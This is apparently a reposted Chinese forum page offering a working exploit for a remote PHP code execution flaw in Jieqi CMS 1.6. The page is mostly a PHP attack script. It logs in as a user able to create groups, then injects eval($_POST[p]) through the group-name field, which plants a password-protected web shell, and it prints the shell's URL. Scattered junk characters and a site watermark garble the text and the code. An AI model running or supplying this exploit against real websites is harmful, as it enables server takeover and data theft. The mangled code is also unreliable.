Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


9 _2 Z5 ~9 g" P% T该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
4 `" D' D7 _. C! t) @
! ~& j6 y2 {4 N<?php
; S& \# i9 \" A% {
print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
, E$ c3 N/ e! f. W6 L7 \2 ?3 zby flyh4t
% i6 ]# a: \8 R4 }5 wmail: phpsec at hotmail dot com
! h+ t& q# F5 S5 P# dteam: http://www.wolvez.org
& f2 x1 q" [& F+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
0 Q9 o$ R- C6 t% o: A1 TUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
% p) e/ o* y1 {$ C& {Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
$ n3 k" Z* V+ @; b% d9 G0 I- c
# S& Z) b" `! x# P- x& ?'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- x* m$ e7 N2 \1 k# ?& S-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

3 f  g$ q2 `/ a' c8 e+ A1
& y2 w  t/ ~" {- ]. I-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
- {* G7 i: E$ A$ s7 p' w, S8 y
3 {3 n0 M6 K% I7 z  @: j1
9 W& p6 U5 b2 I/ x-----------------------------23281168279961
7 w# j7 N4 _* |Content-Disposition: form-data; name="gbrief"

1
; X1 T1 a  U) h9 H9 o* H4 p-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
. q1 V) g+ |6 v8 {' z
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;